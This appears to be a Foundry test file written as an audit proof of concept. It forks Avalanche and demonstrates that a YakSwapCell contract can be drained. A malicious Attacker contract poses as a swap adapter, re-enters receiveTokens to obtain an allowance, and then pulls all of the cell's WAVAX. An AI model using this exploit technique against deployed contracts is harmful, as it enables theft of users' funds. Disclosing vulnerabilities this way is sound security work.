YakTest.t.sol

// Place the code below to the `test` folder and execute (this will fork the Avalanche C-Chain and use the real yak router): 
// ```sh
// forge test -f https://api.avax.network/ext/bc/C/rpc --mt test_possibleToStealTokensFromYakSwapCell
// ```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

import "./BaseTest.t.sol";
import "./../src/YakSwapCell.sol";

contract YakSwapCellTest is BaseTest {
    address internal constant YAK_SWAP_ROUTER = 0xC4729E56b831d74bBc18797e0e17A295fA77488c;
    uint256 internal constant TARGET_BALANCE_START = 100e18;

    YakSwapCell internal targetCell;
    Attacker internal attacker;

    function setUp() public override {
        super.setUp();

        targetCell = new YakSwapCell(YAK_SWAP_ROUTER);
        attacker = new Attacker(address(targetCell), WAVAX);

        deal(WAVAX, address(targetCell), TARGET_BALANCE_START);
        // Give same amount of tokens to the attacker contract
        deal(WAVAX, address(attacker), TARGET_BALANCE_START);
    }

    function test_possibleToStealTokensFromYakSwapCell() external {
        Hop[] memory hops = new Hop[](1);

        // Place the address of token you want to steal at the last position
        address[] memory path = new address[](2);
        path[0] = USDC;
        path[1] = WAVAX;

        // Place attacker contract as adapter
        address[] memory adapters = new address[](1);
        adapters[0] = address(attacker);

        Trade memory trade = Trade({amountIn: 0, amountOut: 0, path: path, adapters: adapters});

        // Leave other parameters with default values
        hops[0].action = Action.SwapAndTransfer;
        hops[0].trade = abi.encode(trade);

        Instructions memory instructions;
        // Get tokens to this contract
        instructions.receiver = address(this);
        instructions.hops = hops;

        assertEq(IERC20(WAVAX).balanceOf(address(targetCell)), TARGET_BALANCE_START); // Cell has initial balance
        assertEq(IERC20(WAVAX).allowance(address(targetCell), address(attacker)), 0); // No allowance from cell to the attacker contract
        assertEq(IERC20(WAVAX).balanceOf(address(this)), 0); // Zero balance of this contract

        // Give 0 USDC to the contract with malicious trade
        targetCell.crossChainSwap(USDC, 0, instructions);

        assertEq(IERC20(WAVAX).balanceOf(address(this)), TARGET_BALANCE_START); // This contract balance increased
        assertEq(IERC20(WAVAX).allowance(address(targetCell), address(attacker)), TARGET_BALANCE_START); // Allowance to the attacker balance increased

        attacker.pullTokensFrom(WAVAX, address(targetCell), address(this), TARGET_BALANCE_START);

        assertEq(IERC20(WAVAX).balanceOf(address(targetCell)), 0); // Cell is empty
    }
}

contract Attacker {
    using SafeERC20 for IERC20;

    YakSwapCell internal targetCell;
    IERC20 internal token;

    address internal immutable owner;

    constructor(address target, address targetToken) {
        owner = msg.sender;
        targetCell = YakSwapCell(target);
        token = IERC20(targetToken);
    }

    function swap(
        uint256, /*_amountIn*/
        uint256, /*_amountOut*/
        address, /*_fromToken*/
        address, /*_toToken*/
        address /*_to*/
    ) external {
        Hop[] memory hops = new Hop[](2);
        hops[0].action = Action.SwapAndTransfer;
        hops[0].bridgePath.bridgeDestinationChain = address(this); // This contract will receive allowance

        // No path -> in the `YakSwapCell._swap` will return false and trigger send tokens back from the 1 hop
        Trade memory trade = Trade({amountIn: 0, amountOut: 0, path: new address[](0), adapters: new address[](0)});

        hops[1].action = Action.SwapAndTransfer;
        hops[1].trade = abi.encode(trade);

        Instructions memory instructions;
        instructions.hops = hops;

        CellPayload memory payload = CellPayload({instructions: instructions, hop: 0});

        uint256 amount = token.balanceOf(address(this));
        require(amount > 0, "No balance for attack");

        token.forceApprove(address(targetCell), amount);
        targetCell.receiveTokens(bytes32(0), address(0), address(0), address(token), amount, abi.encode(payload));
    }

    function pullTokensFrom(address tokenToTransfer, address from, address to, uint256 amount) external {
        assert(owner == msg.sender);
        IERC20(tokenToTransfer).safeTransferFrom(from, to, amount);
    }

    // ==== Dummy functions ====
    function query(uint256, /* _amountIn*/ address, /*_tokenIn*/ address /*_tokenOut*/ )
        external
        pure
        returns (uint256)
    {
        return type(uint256).max;
    }

    function send(SendTokensInput calldata, /*input*/ uint256 /*amount*/ ) external {}
}